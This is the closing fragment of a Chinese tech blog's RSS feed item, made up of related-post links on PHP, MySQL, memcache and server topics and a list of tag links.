<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/requireeecludexi.html" title="require和include的异同">require和include的异同</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%8F%90%E9%80%9F" title="提速" rel="tag">提速</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

